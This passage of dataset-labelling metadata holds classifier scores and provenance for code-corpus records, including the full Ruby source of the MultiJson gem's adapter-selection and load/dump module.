"Content Listing": 1.173229039987923e-05, "Creative Writing": 8.067354064463237e-06, "Customer Support Page": 6.774001099473437e-06, "Q&A Forum": 6.155555062176561e-06, "Discussion Thread": 3.6425669054034674e-06, "Comment Section": 6.64156428274728e-06, "Missing Content": 1.4623130707165823e-05, "Knowledge Article": 7.419831899018538e-05, "Legal Notices": 2.4639908321859584e-05, "News Article": 2.7880494926503796e-06, "Organizational Announcement": 6.395495653847778e-06, "Nonfiction Writing": 6.070351488805915e-06, "Organizational About Page": 7.025551706312917e-06, "Personal About Page": 5.185136043842307e-06, "Personal Blog": 4.174397836968848e-06, "Product Page": 4.613453447947211e-06, "Spam / Ads": 5.8006286448525684e-06, "Structured Data": 0.0006492893751501985, "Technical Writing": 0.9981382278106713, "Transcript / Interview": 7.72334382010172e-06, "Tutorial / How-To Guide": 9.604824213739229e-05, "User Reviews": 3.7188158364848782e-06, "Other / Unknown": 0.0008839274340197175}, "secondary": {"Academic Writing": 4.9881329489948846e-05, "Content Listing": 3.946671824705078e-05, "Creative Writing": 3.422753017951477e-05, "Customer Support Page": 2.633136460952778e-05, "Q&A Forum": 1.4377479067006801e-05, "Discussion Thread": 1.2096260353799831e-05, "Comment Section": 3.186227495068176e-05, "Missing Content": 0.0001307762977209527, "Knowledge Article": 0.0002368416451957022, "Legal Notices": 8.451689232687018e-05, "News Article": 2.235247816451373e-05, "Organizational Announcement": 2.2031490502972647e-05, "Nonfiction Writing": 1.6253447967805583e-05, "Organizational About Page": 2.7530146876687332e-05, "Personal About Page": 1.980299979804527e-05, "Personal Blog": 1.6723408433265936e-05, "Product Page": 1.3371009458325348e-05, "Spam / Ads": 2.3580075200843292e-05, "Structured Data": 0.0016948172166918645, "Technical Writing": 0.0043653193394313896, "Transcript / Interview": 2.5566251717210852e-05, "Tutorial / How-To Guide": 0.00022662501034324638, "User Reviews": 1.0700235461816402e-05, "NONE": 0.9928549490978109}, "tertiary": {"Academic Writing": 3.123939822259144e-05, "Content Listing": 3.234264552523142e-05, "Creative Writing": 2.8364887041788504e-05, "Customer Support Page": 1.8577787747282727e-05, "Q&A Forum": 9.651163778368405e-06, "Discussion Thread": 8.428425860413842e-06, "Comment Section": 3.0634121807978565e-05, "Missing Content": 0.00021041165795407745, "Knowledge Article": 0.00014808672371824272, "Legal Notices": 0.00010509005911473347, "News Article": 1.7548557362070687e-05, "Organizational Announcement": 1.7732036829239158e-05, "Nonfiction Writing": 1.6740479625812827e-05, "Organizational About Page": 3.2018731750170444e-05, "Personal About Page": 1.4119157600860117e-05, "Personal Blog": 1.2297068461011458e-05, "Product Page": 1.1256747043768885e-05, "Spam / Ads": 2.2460395785762242e-05, "Structured Data": 0.0007227498929822644, "Technical Writing": 0.0015899474644724824, "Transcript / Interview": 1.7897863211088416e-05, "Tutorial / How-To Guide": 0.00016714445601931127, "User Reviews": 9.275867598435747e-06, "NONE": 0.996725984410487}, "structured_records": {"false": 0.9986517662088927, "true": 0.0013482337911073206}, "procedural_steps": {"false": 0.9931482351560997, "true": 0.006851764843900271}, "worked_solution": {"false": 0.9990469142167383, "true": 0.0009530857832617199}, "contextual_dialogue": {"false": 0.9999953556203329, "true": 4.644379667085285e-06}, "content_quality": {"-2": 0.003232995461497061, "-1": 0.0066577978677349785, "0": 0.11129661495111659, "1": 0.4774286394343807, "2": 0.4013839522852708}, "noise_severity": {"0": 0.9975356920826038, "1": 0.002061824020513012, "2": 0.00021913534149198467, "3": 0.00010631767201259644, "4": 7.703088337854146e-05}, "missing_content_severity": {"0": 0.9940762512274519, "1": 0.0028922838777857922, "2": 0.0020691304302232994, "3": 0.0007612464448800395, "4": 0.00020108801965912398}, "factual_density": {"0": 0.002468912856830963, "1": 0.004811406473018235, "2": 0.05224483524115293, "3": 0.2883252091546243, "4": 0.6521496362743736}, "pretraining_utility": {"-2": 0.0073093788742049585, "-1": 0.06964020579685733, "0": 0.3742123553890785, "1": 0.4583459196775827, "2": 0.09049214026227653}, "math_density": {"0": 0.9687337220055801, "1": 0.02609698271802337, "2": 0.001542113641096963, "3": 0.0007472095366265887, "4": 0.002879972098673118}, "code_density": {"0": 0.000272669105600409, "1": 0.0004705433153390011, "2": 0.007511681577852612, "3": 0.039920139777781576, "4": 0.9518249662234265}, "reasoning_density": {"0": 0.6993525229261858, "1": 0.08388257162487212, "2": 0.11002731687808848, "3": 0.061352010827924075, "4": 0.04538557774292972}, "education_level": {"none": 0.0014379241692209224, "0": 0.0016692457484837572, "1": 0.006321155166318274, "2": 0.42918336983343913, "3": 0.4773456606491163, "4": 0.0840426444334215}, "creative_writing_quality": {"not_applicable": 0.9996451544796668, "-2": 4.2934149713302315e-05, "-1": 6.148124192221441e-05, "0": 0.0001798845479740322, "1": 5.315093065898077e-05, "2": 1.7394650064801844e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.0719048216359896e-05, "Art & Design": 2.9752588609391516e-05, "Law & Crime": 3.482288503797489e-05, "Education & Careers": 2.6490994942522137e-05, "Entertainment & Media": 1.52662720936429e-05, "Fashion & Beauty": 1.0932372468984344e-05, "Business, Economics & Finance": 5.479989474060412e-05, "Food & Dining": 1.1827608603524136e-05, "Games & Gaming": 3.351029412639425e-05, "Electronics & Hardware": 5.662571430560547e-05, "Health, Healthcare & Wellness": 1.866235446185401e-05, "History & Geography": 1.6809218988155752e-05, "Home, Pets & Hobbies": 1.4109006190320422e-05, "Industry & Production": 1.7446098032029084e-05, "Language, Literature & Philosophy": 2.865013819620942e-05, "Politics & Government": 1.4117761641468314e-05, "Religion & Spirituality": 1.7322626301818405e-05, "Science, Mathematics & Engineering": 0.0002312626002098451, "Relationships & Community": 1.9335874652723617e-05, "Software Usage & Applications": 0.0009072971744757459, "Programming & Software Engineering": 0.9980684228185565, "Sports & Fitness": 2.700162217432316e-05, "Vehicles & Transportation": 1.104426924725834e-05, "Travel & Tourism": 3.0134051115241952e-05, "Other / Uncovered Subject": 0.00022083273552481826, "Unknown / Insufficient Content": 6.280397708678242e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00023906575471692646, "Art & Design": 0.0001539564725463901, "Law & Crime": 0.0013396025761331458, "Education & Careers": 0.0001583809336497032, "Entertainment & Media": 0.00014953477394318715, "Fashion & Beauty": 7.10051380724687e-05, "Business, Economics & Finance": 0.00031402191926291546, "Food & Dining": 7.188406697095163e-05, "Games & Gaming": 0.00013549481151822198, "Electronics & Hardware": 0.0001967127741633302, "Health, Healthcare & Wellness": 0.00011038033511190404, "History & Geography": 8.080266281590389e-05, "Home, Pets & Hobbies": 6.135800419130444e-05, "Industry & Production": 6.276387611433787e-05, "Language, Literature & Philosophy": 7.991114664321867e-05, "Politics & Government": 9.300533481737152e-05, "Religion & Spirituality": 9.916510692487812e-05, "Science, Mathematics & Engineering": 0.0007493635580602407, "Relationships & Community": 9.773309963854136e-05, "Software Usage & Applications": 0.005211912644011385, "Programming & Software Engineering": 0.011183468060071727, "Sports & Fitness": 7.418812478660263e-05, "Vehicles & Transportation": 3.8778120117328634e-05, "Travel & Tourism": 0.00013570954785809393, "Other / Uncovered Subject": 0.00040126418741508554, "NONE": 0.9786905369704448}}, "probabilities": {"primary": {"Academic Writing": 2.25372242162295e-05, "Content Listing": 1.173229039987923e-05, "Creative Writing": 8.067354064463237e-06, "Customer Support Page": 6.774001099473437e-06, "Q&A Forum": 6.155555062176561e-06, "Discussion Thread": 3.6425669054034674e-06, "Comment Section": 6.64156428274728e-06, "Missing Content": 1.4623130707165823e-05, "Knowledge Article": 7.419831899018538e-05, "Legal Notices": 2.4639908321859584e-05, "News Article": 2.7880494926503796e-06, "Organizational Announcement": 6.395495653847778e-06, "Nonfiction Writing": 6.070351488805915e-06, "Organizational About Page": 7.025551706312917e-06, "Personal About Page": 5.185136043842307e-06, "Personal Blog": 4.174397836968848e-06, "Product Page": 4.613453447947211e-06, "Spam / Ads": 5.8006286448525684e-06, "Structured Data": 0.0006492893751501985, "Technical Writing": 0.9981382278106713, "Transcript / Interview": 7.72334382010172e-06, "Tutorial / How-To Guide": 9.604824213739229e-05, "User Reviews": 3.7188158364848782e-06, "Other / Unknown": 0.0008839274340197175}, "secondary": {"Academic Writing": 4.9881329489948846e-05, "Content Listing": 3.946671824705078e-05, "Creative Writing": 3.422753017951477e-05, "Customer Support Page": 2.633136460952778e-05, "Q&A Forum": 1.4377479067006801e-05, "Discussion Thread": 1.2096260353799831e-05, "Comment Section": 3.186227495068176e-05, "Missing Content": 0.0001307762977209527, "Knowledge Article": 0.0002368416451957022, "Legal Notices": 8.451689232687018e-05, "News Article": 2.235247816451373e-05, "Organizational Announcement": 2.2031490502972647e-05, "Nonfiction Writing": 1.6253447967805583e-05, "Organizational About Page": 2.7530146876687332e-05, "Personal About Page": 1.980299979804527e-05, "Personal Blog": 1.6723408433265936e-05, "Product Page": 1.3371009458325348e-05, "Spam / Ads": 2.3580075200843292e-05, "Structured Data": 0.0016948172166918645, "Technical Writing": 0.0043653193394313896, "Transcript / Interview": 2.5566251717210852e-05, "Tutorial / How-To Guide": 0.00022662501034324638, "User Reviews": 1.0700235461816402e-05, "NONE": 0.9928549490978109}, "tertiary": {"Academic Writing": 3.123939822259144e-05, "Content Listing": 3.234264552523142e-05, "Creative Writing": 2.8364887041788504e-05, "Customer Support Page": 1.8577787747282727e-05, "Q&A Forum": 9.651163778368405e-06, "Discussion Thread": 8.428425860413842e-06, "Comment Section": 3.0634121807978565e-05, "Missing Content": 0.00021041165795407745, "Knowledge Article": 0.00014808672371824272, "Legal Notices": 0.00010509005911473347, "News Article": 1.7548557362070687e-05, "Organizational Announcement": 1.7732036829239158e-05, "Nonfiction Writing": 1.6740479625812827e-05, "Organizational About Page": 3.2018731750170444e-05, "Personal About Page": 1.4119157600860117e-05, "Personal Blog": 1.2297068461011458e-05, "Product Page": 1.1256747043768885e-05, "Spam / Ads": 2.2460395785762242e-05, "Structured Data": 0.0007227498929822644, "Technical Writing": 0.0015899474644724824, "Transcript / Interview": 1.7897863211088416e-05, "Tutorial / How-To Guide": 0.00016714445601931127, "User Reviews": 9.275867598435747e-06, "NONE": 0.996725984410487}, "structured_records": {"false": 0.9986517662088927, "true": 0.0013482337911073206}, "procedural_steps": {"false": 0.9931482351560997, "true": 0.006851764843900271}, "worked_solution": {"false": 0.9990469142167383, "true": 0.0009530857832617199}, "contextual_dialogue": {"false": 0.9999953556203329, "true": 4.644379667085285e-06}, "content_quality": {"-2": 0.003232995461497061, "-1": 0.0066577978677349785, "0": 0.11129661495111659, "1": 0.4774286394343807, "2": 0.4013839522852708}, "noise_severity": {"0": 0.9975356920826038, "1": 0.002061824020513012, "2": 0.00021913534149198467, "3": 0.00010631767201259644, "4": 7.703088337854146e-05}, "missing_content_severity": {"0": 0.9940762512274517, "1": 0.002892283877785792, "2": 0.002069130430223299, "3": 0.0007612464448800393, "4": 0.00020108801965912392}, "factual_density": {"0": 0.002468912856830963, "1": 0.004811406473018235, "2": 0.05224483524115293, "3": 0.2883252091546243, "4": 0.6521496362743736}, "pretraining_utility": {"-2": 0.0073093788742049585, "-1": 0.06964020579685733, "0": 0.3742123553890785, "1": 0.4583459196775827, "2": 0.09049214026227653}, "math_density": {"0": 0.9687337220055801, "1": 0.02609698271802337, "2": 0.001542113641096963, "3": 0.0007472095366265887, "4": 0.002879972098673118}, "code_density": {"0": 0.000272669105600409, "1": 0.0004705433153390011, "2": 0.007511681577852612, "3": 0.039920139777781576, "4": 0.9518249662234265}, "reasoning_density": {"0": 0.6993525229261857, "1": 0.0838825716248721, "2": 0.11002731687808845, "3": 0.06135201082792406, "4": 0.045385577742929714}, "education_level": {"none": 0.0014379241692209226, "0": 0.0016692457484837574, "1": 0.006321155166318275, "2": 0.4291833698334392, "3": 0.4773456606491164, "4": 0.08404264443342152}, "creative_writing_quality": {"not_applicable": 0.9996451544796666, "-2": 4.293414971330231e-05, "-1": 6.14812419222144e-05, "0": 0.00017988454797403217, "1": 5.315093065898076e-05, "2": 1.739465006480184e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.0719048216359896e-05, "Art & Design": 2.9752588609391516e-05, "Law & Crime": 3.482288503797489e-05, "Education & Careers": 2.6490994942522137e-05, "Entertainment & Media": 1.52662720936429e-05, "Fashion & Beauty": 1.0932372468984344e-05, "Business, Economics & Finance": 5.479989474060412e-05, "Food & Dining": 1.1827608603524136e-05, "Games & Gaming": 3.351029412639425e-05, "Electronics & Hardware": 5.662571430560547e-05, "Health, Healthcare & Wellness": 1.866235446185401e-05, "History & Geography": 1.6809218988155752e-05, "Home, Pets & Hobbies": 1.4109006190320422e-05, "Industry & Production": 1.7446098032029084e-05, "Language, Literature & Philosophy": 2.865013819620942e-05, "Politics & Government": 1.4117761641468314e-05, "Religion & Spirituality": 1.7322626301818405e-05, "Science, Mathematics & Engineering": 0.0002312626002098451, "Relationships & Community": 1.9335874652723617e-05, "Software Usage & Applications": 0.0009072971744757459, "Programming & Software Engineering": 0.9980684228185565, "Sports & Fitness": 2.700162217432316e-05, "Vehicles & Transportation": 1.104426924725834e-05, "Travel & Tourism": 3.0134051115241952e-05, "Other / Uncovered Subject": 0.00022083273552481826, "Unknown / Insufficient Content": 6.280397708678242e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00023906575471692646, "Art & Design": 0.0001539564725463901, "Law & Crime": 0.0013396025761331458, "Education & Careers": 0.0001583809336497032, "Entertainment & Media": 0.00014953477394318715, "Fashion & Beauty": 7.10051380724687e-05, "Business, Economics & Finance": 0.00031402191926291546, "Food & Dining": 7.188406697095163e-05, "Games & Gaming": 0.00013549481151822198, "Electronics & Hardware": 0.0001967127741633302, "Health, Healthcare & Wellness": 0.00011038033511190404, "History & Geography": 8.080266281590389e-05, "Home, Pets & Hobbies": 6.135800419130444e-05, "Industry & Production": 6.276387611433787e-05, "Language, Literature & Philosophy": 7.991114664321867e-05, "Politics & Government": 9.300533481737152e-05, "Religion & Spirituality": 9.916510692487812e-05, "Science, Mathematics & Engineering": 0.0007493635580602407, "Relationships & Community": 9.773309963854136e-05, "Software Usage & Applications": 0.005211912644011385, "Programming & Software Engineering": 0.011183468060071727, "Sports & Fitness": 7.418812478660263e-05, "Vehicles & Transportation": 3.8778120117328634e-05, "Travel & Tourism": 0.00013570954785809393, "Other / Uncovered Subject": 0.00040126418741508554, "NONE": 0.9786905369704448}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9808, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9808, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:36:08.953914+00:00", "scoring_key_slot": "primary", "dataset_uid": "4f056830-cbff-400b-8b2d-c045242933ad", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "785df8506b4f0df5b420557378cc856494437b3429a95b04bef9a4ce055815d3", "source_metadata": {"uuid": "4f056830-cbff-400b-8b2d-c045242933ad", "repo_name": "rterrabh/rdf", "relative_path": "dataset/devise/lib/devise/models/confirmable.rb", "category": "WEB", "algo_rel_score": 0.9740248918533325, "quality_score": 6.458296775817871, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 47, "repo_created_at": "2016-12-16T20:01:43.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 1, "forks": 0, "issues": 1, "pull_requests": 0}, "file_meta": {"content_id": "aab74a3af04672ad20d656f8e09b366ca789f6dd", "size_bytes": 6588, "file_timestamp": 1510187891, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "825533d2a323cb70e3f4e673db331ce2f23c5e57"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 47, "repo_created_at": "2016-12-16T20:01:43.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 1, "forks": 0, "issues": 1, "pull_requests": 0}, "file_meta": {"content_id": "aab74a3af04672ad20d656f8e09b366ca789f6dd", "size_bytes": 6588, "file_timestamp": 1510187891, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "825533d2a323cb70e3f4e673db331ce2f23c5e57", "url": "https://github.com/rterrabh/rdf/blob/825533d2a323cb70e3f4e673db331ce2f23c5e57/dataset/devise/lib/devise/models/confirmable.rb"}, "gpt4o_tokens": 1270, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.2670727552141932, "noise_severity": 0.0031271712530489366, "missing_content_severity": 0.010118636151509004, "factual_density": 3.5828752495166913, "pretraining_utility": 0.5550712366568685, "math_density": 0.04294272700478954, "code_density": 3.942554190698095, "reasoning_density": 0.66953554883654, "education_level": 2.636686810205292, "creative_writing_quality": -0.1674230253898294}, "score_applicability": {"education_level": 0.9985620758307792, "creative_writing_quality": 0.0003548455203333315}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/WGBH/NCAM-PAN/blob/9317cfc5480974048bf8d6ba1263ad5d7c045933/blacklight-app/vendor/ruby/1.9.1/gems/multi_json-1.3.2/lib/multi_json.rb", "id": "ruby-0-3c1753d06ef201e89633f01a866e4296", "text": "module MultiJson\n class DecodeError < StandardError\n attr_reader :data\n def initialize(message, backtrace, data)\n super(message)\n self.set_backtrace(backtrace)\n @data = data\n end\n end\n\n module_function\n\n @adapter = nil\n\n REQUIREMENT_MAP = [\n [\"oj\", :oj],\n [\"yajl\", :yajl],\n [\"json\", :json_gem],\n [\"json/pure\", :json_pure]\n ]\n\n # TODO: Remove for 2.0 release (but no sooner)\n def default_engine\n deprecate(\"MultiJson.default_engine is deprecated and will be removed in the next major version. Use MultiJson.default_adapter instead.\")\n self.default_adapter\n end\n\n # The default adapter based on what you currently\n # have loaded and installed. First checks to see\n # if any adapters are already loaded, then checks\n # to see which are installed if none are loaded.\n def default_adapter\n return :oj if defined?(::Oj)\n return :yajl if defined?(::Yajl)\n return :json_gem if defined?(::JSON)\n\n REQUIREMENT_MAP.each do |(library, adapter)|\n begin\n require library\n return adapter\n rescue LoadError\n next\n end\n end\n\n Kernel.warn \"[WARNING] MultiJson is using the default adapter (ok_json). We recommend loading a different JSON library to improve performance.\"\n :ok_json\n end\n\n # TODO: Remove for 2.0 release (but no sooner)\n def engine\n deprecate(\"MultiJson.engine is deprecated and will be removed in the next major version. Use MultiJson.adapter instead.\")\n self.adapter\n end\n\n # Get the current adapter class.\n def adapter\n return @adapter if @adapter\n self.use self.default_adapter\n @adapter\n end\n\n # TODO: Remove for 2.0 release (but no sooner)\n def engine=(new_engine)\n deprecate(\"MultiJson.engine= is deprecated and will be removed in the next major version. Use MultiJson.use instead.\")\n self.use(new_engine)\n end\n\n # Set the JSON parser utilizing a symbol, string, or class.\n # Supported by default are:\n #\n # * :oj\n # * :json_gem\n # * :json_pure\n # * :ok_json\n # * :yajl\n # * :nsjsonserialization (MacRuby only)\n def use(new_adapter)\n @adapter = load_adapter(new_adapter)\n end\n alias :adapter= :use\n\n def load_adapter(new_adapter)\n case new_adapter\n when String, Symbol\n require \"multi_json/adapters/#{new_adapter}\"\n MultiJson::Adapters.const_get(\"#{new_adapter.to_s.split('_').map{|s| s.capitalize}.join('')}\")\n when NilClass\n nil\n when Class\n new_adapter\n else\n raise \"Did not recognize your adapter specification. Please specify either a symbol or a class.\"\n end\n end\n\n # TODO: Remove for 2.0 release (but no sooner)\n def decode(string, options={})\n deprecate(\"MultiJson.decode is deprecated and will be removed in the next major version. Use MultiJson.load instead.\")\n self.load(string, options)\n end\n\n # Decode a JSON string into Ruby.\n #\n # Options\n #\n # :symbolize_keys :: If true, will use symbols instead of strings for the keys.\n # :adapter :: If set, the selected engine will be used just for the call.\n def load(string, options={})\n adapter = current_adapter(options)\n adapter.load(string, options)\n rescue adapter::ParseError => exception\n raise DecodeError.new(exception.message, exception.backtrace, string)\n end\n\n def current_adapter(options)\n if new_adapter = (options || {}).delete(:adapter)\n load_adapter(new_adapter)\n else\n adapter\n end\n end\n\n # TODO: Remove for 2.0 release (but no sooner)\n def encode(object, options={})\n deprecate(\"MultiJson.encode is deprecated and will be removed in the next major version. Use MultiJson.dump instead.\")\n self.dump(object, options)\n end\n\n # Encodes a Ruby object as JSON.\n def dump(object, options={})\n adapter = current_adapter(options)\n adapter.dump(object, options)\n end\n\n # Sends of a deprecation warning\n def deprecate(raw_message)\n @messages ||= {}\n message = \"#{Kernel.caller[1]}: [DEPRECATION] #{raw_message}\"\n unless @messages[message]\n @messages[message] = true\n Kernel.warn message\n end\n end\nend\n", "text_preview": "module MultiJson class DecodeError < StandardError attr_reader :data def initialize(message, backtrace, data) super(message) self.set_backtrace(backtrace) @data = data end end module_function @adapter = nil REQUIREMENT_MAP = [ [\"oj\", :oj], ", "input_sha256": "188a6f5728a2ca945db8452bfb5ea9d7cd0486c2769cd200acf5d6e30586d75c", "text_sha256": "3c1753d06ef201e89633f01a866e42964b992e757e1b62ed58ca294374f5a35a", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16104, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.1207384809550107, "noise_severity": 0.0071323497980879625, "missing_content_severity": 0.011709441367770225, "factual_density": 3.3444342391406536, "pretraining_utility": 0.35823360375618263, "math_density": 0.013627096041445434, "code_density": 3.8949354480688454, "reasoning_density": 0.5037014489594349, "education_level": 2.3037594326246644, "creative_writing_quality": -0.1605515732826045}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.025298418700585246, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9960926245183608, "secondary": 0.9602360461744792, "tertiary": 0.9866343961229156, "structured_records": 0.08690842782943654, "procedural_steps": 0.005365664777160765, "worked_solution": 0.0004726237140209632, "contextual_dialogue": 5.355091722298897e-06, "content_quality": 0.5685374028796699, "noise_severity": 0.9940563751682601, "missing_content_severity": 0.9902421321935249, "factual_density": 0.453695199283878, "pretraining_utility": 0.48539656261396513, "math_density": 0.9886440866321288, "code_density": 0.9124462067240381, "reasoning_density": 0.5802487925338042, "education_level": 0.623370277393272, "creative_writing_quality": 0.9994081056579444, "primary_topic": 0.9949400646484496, "secondary_topic": 0.9697037178940706}, "probability_margin": {"primary": 0.9942123351567457, "secondary": 0.9429439089714717, "tertiary": 0.9816152293407456, "education_level": 0.4335943754073617, "creative_writing_quality": 0.9992524583757797, "primary_topic": 0.9934105207962848, "secondary_topic": 0.9537816586510194}, "raw_probabilities": {"primary": {"Academic Writing": 2.809874172645425e-05, "Content Listing": 2.3342799130542458e-05, "Creative Writing": 1.3127570368922714e-05, "Customer Support Page": 1.0697655950084952e-05, "Q&A Forum": 8.757215352454124e-06, "Discussion Thread": 6.023511986206415e-06, "Comment Section": 1.1699142375595797e-05, "Missing Content": 2.613075539289119e-05, "Knowledge Article": 0.0001462581868930271, "Legal Notices": 6.29341446325575e-05, "News Article": 4.137789426919703e-06, "Organizational Announcement": 1.064627961748938e-05, "Nonfiction Writing": 9.162598509992268e-06, "Organizational About Page": 1.0642290203349796e-05, "Personal About Page": 6.859995801387702e-06, "Personal Blog": 6.048327367327772e-06, "Product Page": 7.0999026078967295e-06, "Spam / Ads": 8.825671786749672e-06, "Structured Data": 0.002043096673350099, "Technical Writing": 0.9962554318300958, "Transcript / Interview": 1.2238365072590395e-05, "Tutorial / How-To Guide": 0.00013337975545852745, "User Reviews": 5.317424145124583e-06, "Other / Unknown": 0.0011500433727481664}, "secondary": {"Academic Writing": 0.00019897000291378618, "Content Listing": 0.00015531233038833586, "Creative Writing": 0.0001551555532635299, "Customer Support Page": 0.00012342357817045067, "Q&A Forum": 6.550221233240724e-05, "Discussion Thread": 5.938773260533294e-05, "Comment Section": 0.0001575478046586676, "Missing Content": 0.000334651656332913, "Knowledge Article": 0.0016475148243951063, "Legal Notices": 0.00029797181682181717, "News Article": 0.0001010420736787575, "Organizational Announcement": 0.00010804408060738151, "Nonfiction Writing": 9.652385673980883e-05, "Organizational About Page": 0.00011433625167201013, "Personal About Page": 7.951846602118797e-05, "Personal Blog": 7.72350653004819e-05, "Product Page": 6.97160369434745e-05, "Spam / Ads": 0.0001176157538150109, "Structured Data": 0.01894896861240411, "Technical Writing": 0.014096645995800234, "Transcript / Interview": 0.0001076043835539917, "Tutorial / How-To Guide": 0.0009542275299418289, "User Reviews": 4.020679776362412e-05, "NONE": 0.9618928775838759}, "tertiary": {"Academic Writing": 7.306925720776702e-05, "Content Listing": 7.736420676566394e-05, "Creative Writing": 5.569805793299842e-05, "Customer Support Page": 4.736375920089009e-05, "Q&A Forum": 2.0061686603103152e-05, "Discussion Thread": 2.0120240242286955e-05, "Comment Section": 8.138733311473997e-05, "Missing Content": 0.00021102397685431582, "Knowledge Article": 0.0006262205629049021, "Legal Notices": 0.00030821538990327544, "News Article": 3.6894373677718606e-05, "Organizational Announcement": 4.652923725532336e-05, "Nonfiction Writing": 3.896593931316285e-05, "Organizational About Page": 5.378066205024102e-05, "Personal About Page": 2.920957583533312e-05, "Personal Blog": 3.0130795467894992e-05, "Product Page": 2.9873472642886265e-05, "Spam / Ads": 4.656641510638429e-05, "Structured Data": 0.005576066943715143, "Technical Writing": 0.004522916074246055, "Transcript / Interview": 3.95360097791292e-05, "Tutorial / How-To Guide": 0.000820227310886356, "User Reviews": 1.748243483353498e-05, "NONE": 0.9871912962844608}, "structured_records": {"false": 0.9130915721705635, "true": 0.08690842782943654}, "procedural_steps": {"false": 0.9946343352228393, "true": 0.005365664777160765}, "worked_solution": {"false": 0.999527376285979, "true": 0.0004726237140209632}, "contextual_dialogue": {"false": 0.9999946449082777, "true": 5.355091722298897e-06}, "content_quality": {"-2": 0.003937895470821895, "-1": 0.013903274436668854, "0": 0.15888808250888936, "1": 0.5040239488339165, "2": 0.31924679874970335}, "noise_severity": {"0": 0.9940783634156642, "1": 0.005155853008949777, "2": 0.0004527440406885523, "3": 